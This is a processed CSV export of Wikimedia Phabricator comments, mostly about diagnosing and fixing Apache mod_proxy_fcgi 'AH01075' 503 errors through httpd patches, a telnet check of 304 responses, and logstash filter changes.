session.",,,1412402678,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-bbslpslr34ubdiik5vii,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,1.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,6.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,3.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,17.0,0.0,1.0,10.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,6.0,13.0,7.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.616279069767442,0.6976744186046512,"(In reply to spage from comment #0)
QUOTE
QUOTE
QUOTE

This doesn't work.  The mediawiki_api module issues its own HTTP requests from Ruby. So the cookies it gets back aren't set in the browser under test, it only uses them in subsequent API calls. You'd have to tell the browser to make the API POST, or ""push"" the cookies from the API response into the WebDriver session."
73487,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Seeing a flood of these errors in fluorine:/a/mw-log/apache2.log:

Sep 30 22:24:17 mw1018:  [proxy_fcgi:error] [pid 12557] [client 10.64.0.103:5054] AH01070: Error parsing script headers, referer: https://es.wikipedia.org/wiki/Estadio_Coloso_del_Ruca_Quimey

Sep 30 22:24:16 mw1019:  [proxy_fcgi:error] [pid 30172] [client 10.64.0.105:52919] AH01068: Got bogus version 1, referer: https://commons.wikimedia.org/wiki/File:Bibliotheque_de_Toulouse_-_Pic_d-Aneto_(pd).jpg
Sep 30 22:24:16 mw1019:  [proxy_fcgi:error] [pid 30172] (22)Invalid argument: [client 10.64.0.105:52919] AH01075: Error dispatching request to :, referer: https://commons.wikimedia.org/wiki/File:Bibliotheque_de_Toulouse_-_Pic_d-Aneto_(pd).jpg

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Low,25.0,1412116380,1472221377.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-USER-a6yycs7vaq2biua4pudd,False,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_description,resolved,True,c3,1,True,False,False,-40,True,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,10.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,7.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.0,9.0,3.8923076923076922,0.6153846153846154,"Seeing a flood of these errors in fluorine:/a/mw-log/apache2.log:

Sep 30 22:24:17 mw1018:  [proxy_fcgi:error] [pid 12557] [client 10.64.0.103:5054] AH01070: Error parsing script headers, referer: URL

Sep 30 22:24:16 mw1019:  [proxy_fcgi:error] [pid 30172] [client 10.64.0.105:52919] AH01068: Got bogus version 1, referer: URL
Sep 30 22:24:16 mw1019:  [proxy_fcgi:error] [pid 30172] (22)Invalid argument: [client 10.64.0.105:52919] AH01075: Error dispatching request to :, referer: URL

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
749482,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",Based on https://logstash.wikimedia.org/app/kibana#/dashboard/apache2log the errors are gone :] Well done @elukey and others!,,,1477415244,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,68,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,23.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.384615384615385,1.0,Based on URL the errors are gone :] Well doneSCREEN_NAME and others!
749354,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Change 306943 merged by Elukey:
logstash: Stop dropping mod_proxy_fcgi warnings

[[https://gerrit.wikimedia.org/r/306943]]",,,1477404572,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,4.578947368421052,0.8421052631578947,"Change 306943 merged by Elukey:
logstash: Stop dropping mod_proxy_fcgi warnings

[[GERRIT_URL]]"
718220,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",As FYI we'll be able to merge the above patch only when https://phabricator.wikimedia.org/T143536 will be completed! ,,,1472227109,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,60,True,0.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,6.0,0.0,11.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,17.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9444444444444444,As FYI we'll be able to merge the above patch only when URL will be completed! 
718213,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Change 306943 had a related patch set uploaded (by BryanDavis):
logstash: Stop dropping mod_proxy_fcgi warnings

[[https://gerrit.wikimedia.org/r/306943]]
",,,1472226241,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,60,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.423076923076923,0.8846153846153846,"Change 306943 had a related patch set uploaded (by BryanDavis):
logstash: Stop dropping mod_proxy_fcgi warnings

[[GERRIT_URL]]
"
718039,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Congratulations !

Might want a low priority task to later remove the logstash filter:
```
name=files/logstash/filter-syslog.conf, lang=ruby
if [message] =~ /AH01075: Error dispatching request to :/ {
   drop {}
}
```",,,1472211064,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,60,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,14.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.772727272727273,0.8636363636363636,"Congratulations !

Might want a low priority task to later remove the logstash filter:
``CODE``"
717970,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Summary and news:

1) Thanks to @Joe and @MoritzMuehlenhoff we have a new version of httpd for jessie-wikimedia (2.4.10-10+deb8u6+wmf2) that is based on the latest Debian upstream package version.
2) All the jessie based appservers have the new patched httpd, meanwhile we decided not to work on the Ubuntu package to avoid major headaches. 
3) The HTTP 304 patch that we proposed to upstream has been merged to the 2.4.x branch and will be part of the next httpd release.

The issue will be completely resolved when all the appservers will be migrated to Jessie. I'd say that this phab task can be closed now.",,,1472201538,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,60,True,1.5,0.0,1.0,3.5,0.5,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,4.0,7.0,0.0,2.0,0.0,0.0,0.0,1.5,0.5,0.0,1.5,1.0,3.0,0.0,3.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,11.5,0.5,1.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,6.5,4.5,6.5,1.5,1.5,8.5,0.0,0.0,0.0,0.0,5.5,0.0,2.5,0.0,2.5,7.0,4.5,0.0,0.0,0.0,2.5,0.0,2.0,0.5,0.0,0.0,0.0,0.5,2.0,4.10483870967742,0.7580645161290323,"Summary and news:

1) Thanks toSCREEN_NAME andSCREEN_NAME we have a new version of httpd for jessie-wikimedia (2.4.10-10+deb8u6+wmf2) that is based on the latest Debian upstream package version.
2) All the jessie based appservers have the new patched httpd, meanwhile we decided not to work on the Ubuntu package to avoid major headaches. 
3) The HTTP 304 patch that we proposed to upstream has been merged to the 2.4.x branch and will be part of the next httpd release.

The issue will be completely resolved when all the appservers will be migrated to Jessie. I'd say that this phab task can be closed now."
709226,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVZ05ejEpirJUPGy-uaq} [2016-08-10T14:40:39Z] <elukey> depooling mw1261 to install/test apache2_2.4.10-10+deb8u6+wmf1_amd64.deb (T73487). After basic checks the host will get back into service with weight 5.",,,1470840040,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,57,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,3.9615384615384617,0.8846153846153846,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-08-10T14:40:39Z] <elukey> depooling mw1261 to install/test apache2_2.4.10-10+deb8u6+wmf1_amd64.deb (T73487). After basic checks the host will get back into service with weight 5."
706585,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVZZ-fmwpirJUPGy-soF} [2016-08-05T09:12:49Z] <elukey> upgrading httpd on mw126[78] to 2.4.10-10+deb8u4+wmf3 (T73487)",,,1470388370,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,57,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,19.0,3.4594594594594597,0.8378378378378378,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-08-05T09:12:49Z] <elukey> upgrading httpd on mw126[78] to 2.4.10-10+deb8u4+wmf3 (T73487)"
705649,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVZVHRCnaH8PnNb4Dsa3} [2016-08-04T10:33:03Z] <elukey> upgrading httpd on mw126[56] to 2.4.10-10+deb8u4+wmf3 (T73487)",,,1470306784,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,57,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,8.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,3.4594594594594597,0.8378378378378378,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-08-04T10:33:03Z] <elukey> upgrading httpd on mw126[56] to 2.4.10-10+deb8u4+wmf3 (T73487)"
704922,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","After a long chat with upstream we decided not to go ahead with this patch since it wouldn't give us a lot of benefit plus it wouldn't respect a lot the FCGI protocol. 

Some gotchas for whoever is interested:

1) The FCGI script/backend (in our case HHVM) follows the FCGI protocol and it should always send a FCGI End of Request header. httpd should wait for it even if in some cases (like 304s) the connection could theoretically be dropped beforehand. Adding shortcuts for performance improvements might not be the best thing in the longer term because it could introduce too much variability. 

2) I observed the delay between headers and end of request only with telnet, not with curl or other tools, so I got fooled by it. Bad Luca is bad.

3) mod_proxy_fcgi sends and EOS (end of stream) bucket (basically either bytes or metadata grouped) right after it has seen the FCGI end of request, so the client will not wait for httpd to finish its internal stuff. The httpd thread will be blocked of course and there are some suggestions in the httpd dev mailing list about how to improve the waiting time after the FCGI end of Request header, but they would rely on other big changes in trunk. A bit overkill for us, might be something for the future if we see performance issues with this version of httpd (I don't expect anything like this though).

Summary: let's go ahead with the deployment of the current package :)",,,1470219091,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,56,True,1.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,2.3333333333333335,3.6666666666666665,1.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.6666666666666667,1.0,0.0,0.3333333333333333,0.3333333333333333,2.6666666666666665,0.0,6.666666666666667,14.666666666666666,0.6666666666666666,1.0,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.0,1.0,1.3333333333333333,1.6666666666666667,0.0,2.6666666666666665,1.6666666666666667,2.6666666666666665,0.3333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,2.0,0.0,0.6666666666666666,0.0,0.0,0.0,20.0,0.0,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,7.0,2.3333333333333335,7.666666666666667,2.0,3.3333333333333335,9.0,0.0,0.3333333333333333,0.0,0.0,5.666666666666667,0.0,0.0,0.0,6.0,14.666666666666666,3.6666666666666665,0.0,0.0,0.0,6.0,0.0,0.6666666666666666,1.6666666666666667,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,3.989795918367347,0.7551020408163266,"After a long chat with upstream we decided not to go ahead with this patch since it wouldn't give us a lot of benefit plus it wouldn't respect a lot the FCGI protocol. 

Some gotchas for whoever is interested:

1) The FCGI script/backend (in our case HHVM) follows the FCGI protocol and it should always send a FCGI End of Request header. httpd should wait for it even if in some cases (like 304s) the connection could theoretically be dropped beforehand. Adding shortcuts for performance improvements might not be the best thing in the longer term because it could introduce too much variability. 

2) I observed the delay between headers and end of request only with telnet, not with curl or other tools, so I got fooled by it. Bad Luca is bad.

3) mod_proxy_fcgi sends and EOS (end of stream) bucket (basically either bytes or metadata grouped) right after it has seen the FCGI end of request, so the client will not wait for httpd to finish its internal stuff. The httpd thread will be blocked of course and there are some suggestions in the httpd dev mailing list about how to improve the waiting time after the FCGI end of Request header, but they would rely on other big changes in trunk. A bit overkill for us, might be something for the future if we see performance issues with this version of httpd (I don't expect anything like this though).

Summary: let's go ahead with the deployment of the current package :)"
704851,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVZPhv55aH8PnNb4Drwu} [2016-08-03T08:31:02Z] <elukey> upgrading httpd on mw126[34] to 2.4.10-10+deb8u4+wmf3 (T73487)",,,1470213104,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,56,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,3.4594594594594597,0.8378378378378378,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-08-03T08:31:02Z] <elukey> upgrading httpd on mw126[34] to 2.4.10-10+deb8u4+wmf3 (T73487)"
703530,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",">>! In T73487#2510990, @elukey wrote:
> So the new version of httpd seems working as it should but there might be the chance to improve even more if:
> * (preferred) httpd would be able to avoid waiting for the whole body from HHVM before terminating the HTTP response. 

For example:

```
                                else if (status == HTTP_NOT_MODIFIED) {
                                    /* A 304 response MUST NOT contain
                                     * a message-body, so we must ignore it but
                                     * some extra steps need to be taken to
                                     * avoid inconsistencies.
                                     * The break is not added with connection
                                     * reuse set since there might be more bytes
                                     * to read like the message-body, that would 
                                     * trigger subsequent bogus reads (for example
                                     * the start of the message-body
                                     * interpreted as a FCGI header).
                                     * With connection reuse disabled (default)
                                     * we can safely break and force the end
                                     * of the FCGI processing phase since the
                                     * connection will be cleaned up later on. */
                                    ignore_body = 1;
                                    if (conn->close) {
                                        done = 1;
                                        break;
                                    }
                                }
```

I am going to follow up with upstream to see if this change is worth or not. I did some testing this morning with and without connection reuse (httpd-trunk) and it seems working fine. 
",,,1470052767,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,56,True,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,14.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,14.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.3859649122807016,0.7368421052631579,"QUOTE
QUOTE
QUOTE

For example:

``CODE``

I am going to follow up with upstream to see if this change is worth or not. I did some testing this morning with and without connection reuse (httpd-trunk) and it seems working fine. 
"
703447,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Checked if a 304 response would return the body with the new httpd version:

```
elukey@mw1261:~$ telnet localhost 80
Trying ::1...
Connected to localhost.
Escape character is '^]'.
GET /w/index.php?title=MediaWiki:Gadget-ImageAnnotator.js&action=raw&ctype=text/javascript HTTP/1.1
Host: commons.wikimedia.org
If-Modified-Since: Tue, 25 Aug 2015 15:19:10 GMT

HTTP/1.1 304 Not Modified
Date: Mon, 01 Aug 2016 07:34:46 GMT
Server: mw1261.eqiad.wmnet
Cache-control: public, s-maxage=300, max-age=1209600
Vary: Accept-Encoding,Cookie,Authorization

Connection closed by foreign host.
```

The body is not returned anymore but telnet seems to wait a bit after the headers have been returned. I suspect that this behavior might be related to one of the patches added that forces httpd to read the whole content of the response returned by HHVM before giving up, even if it will discard it right afterwards. This avoids subsequent spurious reads (mod_proxy_fcgi reading from HHVM) that turns into 503 and bogus logging. 

So the new version of httpd seems working as it should but there might be the chance to improve even more if:
* (preferred) httpd would be able to avoid waiting for the whole body from HHVM before terminating the HTTP response. 
* HHVM would be able to return a 304 itself rather than the whole content with a Last-Modified header and related.

At the moment the Jessie version of httpd returns 304s with payload so the new behavior will not add any latency to these calls, but will avoid to send unnecessary bytes.
",,,1470040122,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,56,True,0.3333333333333333,0.0,0.0,1.0,0.6666666666666666,6.0,1.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.3333333333333335,12.666666666666666,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,2.3333333333333335,0.3333333333333333,2.6666666666666665,0.6666666666666666,1.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,11.333333333333334,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,7.333333333333333,2.0,6.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,5.333333333333333,0.0,1.3333333333333333,0.0,1.6666666666666667,12.666666666666666,3.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.0,4.071428571428571,0.7857142857142857,"Checked if a 304 response would return the body with the new httpd version:

``CODE``

The body is not returned anymore but telnet seems to wait a bit after the headers have been returned. I suspect that this behavior might be related to one of the patches added that forces httpd to read the whole content of the response returned by HHVM before giving up, even if it will discard it right afterwards. This avoids subsequent spurious reads (mod_proxy_fcgi reading from HHVM) that turns into 503 and bogus logging. 

So the new version of httpd seems working as it should but there might be the chance to improve even more if:
* (preferred) httpd would be able to avoid waiting for the whole body from HHVM before terminating the HTTP response. 
* HHVM would be able to return a 304 itself rather than the whole content with a Last-Modified header and related.

At the moment the Jessie version of httpd returns 304s with payload so the new behavior will not add any latency to these calls, but will avoid to send unnecessary bytes.
"
703423,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Checked if a 304 response would return the body with the new httpd version:

```
elukey@mw1261:~$ telnet localhost 80
Trying ::1...
Connected to localhost.
Escape character is '^]'.
GET /w/index.php?title=MediaWiki:Gadget-ImageAnnotator.js&action=raw&ctype=text/javascript HTTP/1.1
Host: commons.wikimedia.org
If-Modified-Since: Tue, 25 Aug 2015 15:19:10 GMT

HTTP/1.1 304 Not Modified
Date: Mon, 01 Aug 2016 07:34:46 GMT
Server: mw1261.eqiad.wmnet
Cache-control: public, s-maxage=300, max-age=1209600
Vary: Accept-Encoding,Cookie,Authorization

Connection closed by foreign host.
```

The body is not returned anymore but telnet seems to wait a bit after the headers have been returned. I suspect that this behavior might be related to one of the patches added that forces httpd to read the whole content of the response returned by HHVM before giving up, even if it will discard it right afterwards. This avoids subsequent spurious reads (mod_proxy_fcgi reading from HHVM) that turns into 503 and bogus logging. 

So the new version of httpd seems working as it should but there might be the chance to improve even more if HHVM would be able to return a 304 itself rather than the whole content with a Last-Modified header and related  .

",,,1470037352,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,56,True,0.0,0.0,0.0,1.5,0.5,6.5,1.5,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,5.0,13.0,0.0,2.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,2.0,0.5,4.0,1.0,2.5,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,1.0,10.0,1.5,0.5,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,8.0,3.0,6.5,3.0,2.5,9.0,0.0,0.0,0.0,0.0,5.5,0.0,2.5,0.0,3.0,13.0,3.5,0.0,0.0,0.0,3.0,0.0,0.5,2.5,0.5,2.0,0.5,0.0,0.0,4.086666666666667,0.7866666666666666,"Checked if a 304 response would return the body with the new httpd version:

``CODE``

The body is not returned anymore but telnet seems to wait a bit after the headers have been returned. I suspect that this behavior might be related to one of the patches added that forces httpd to read the whole content of the response returned by HHVM before giving up, even if it will discard it right afterwards. This avoids subsequent spurious reads (mod_proxy_fcgi reading from HHVM) that turns into 503 and bogus logging. 

So the new version of httpd seems working as it should but there might be the chance to improve even more if HHVM would be able to return a 304 itself rather than the whole content with a Last-Modified header and related  .

"
